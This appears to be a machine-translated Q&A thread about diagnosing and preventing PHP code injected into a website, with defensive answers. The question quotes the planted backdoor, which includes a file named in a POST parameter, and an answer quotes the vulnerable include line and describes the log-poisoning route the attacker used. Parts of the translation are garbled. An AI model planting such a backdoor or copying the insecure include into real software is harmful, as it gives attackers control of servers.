2012-02-16 14 views
0

私はウェブサイト上に注射されたコードを発見しました。いくつかのphpファイルの先頭にはobfuscated codeがあり、ファイルシステム内の他のファイルにアクセスして端末コマンドを実行することができるa scriptと評価されています。いくつかの他のページは、この単純なコードを注射した:PHPコードが注入された - どうやってこれが起こり、どうやってそれを防ぐの?

<?php 
if(isset($_POST{"VXzGE"})) include_once($_POST{"VXzGE"}); 

私は、サーバー自体に違反していない、そうだろう、私はこの違反のために考えることができる唯一の方法は可能があるように聞いています安全でない形で

  1. いくつかのフォームアップロードファイルいくつかは、データベース内の情報の保存
  2. 他にのみ送信されたフォームの内容に応じて、

がどのようにクッキーをチェックすることができ、セーブ

  • :サイトを仮定すると、いくつかの形式があります注射はどこから来ますか?

    私は確かにこのようなことを行ういくつかの一般的な方法が必要です、彼らは何ですか?

    FYI私のサーバーは、php.ini経由で無効になってこれらの機能を持っています。

    disable_functions = "apache_child_terminate, escapeshellarg, escapeshellcmd, exec, fp, fput, highlight_file, passthru, php_uname, popix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, prce, system" 
    
  • 答えて

    0

    今後の参考として、コードの挿入に使用された穴を公開します。

    まず、そこに明白な穴であること、単一の安全でないファイルだった:

    include 'pages/' . $_GET['page'] . '.php'; 
    

    これはまだ、ファイルシステムへの攻撃者の書き込みアクセス権を与えていないが、しかし、ウェブサイトは、ファイルシステム全体へのアクセスを持っていたのでApacheのログファイル(Apacheはchrootされていないファイルのアクセス許可ではない)を読み取ることができました。攻撃者はその穴を見つけ、Apacheログファイルを読んだ瞬間に実行されたURLに悪質なコードを植えることができました。

    最終的に明らかな穴と他のいくつかの見落としがこのコードの注入を可能にします。

    安全でないファイルが削除されました。穴が修正されました。

    0

    入力明らかにから...入力来た$_GET$_POST$_REQUESTのためにすべてのファイルを検索する(またはあなたが使用している場合:) $this->input->post()のようなフレームワークや、そのフレームワークの関連するメソッドが何であれ、それは何でも構いません。

    フォーム上に隠しフィールドとして設定したものであっても、すべての入力を常に消毒する必要があります。あなたはそれがきれいだと仮定する余裕がない。

    基本的な「クリーニング」方法は入力にhtmlspecialchars()を実行することですが、より堅牢な方法をお勧めします。私の選択の武器は一般的にKohana 2.3(入力ライブラリ、xss_cleanメソッド)からInput::xss_clean()メソッドを借用することです - pick a version from here。これの利点は、本当に自分のものを知っている人々によって開発され、コミュニティ編集され、かなりうまく動作するということです。

    0

    ファイルが書き込み禁止(読み取り専用)ではないようです。あなたがそれを行うべき最も重要なことは、コードを読み取り専用にします。それは達成しやすく、非常に効果的です。

    次に、入力がアプリケーションに正しく入力され、許可されていないものがすべてブロックされていることを確認してください。 PHPの場合は、suhosin extensionをインストールすることをお勧めします。

    あなたは何を見るべきか多様なcheat-sheets on the OWASP websiteが見つかります。

    関連する問題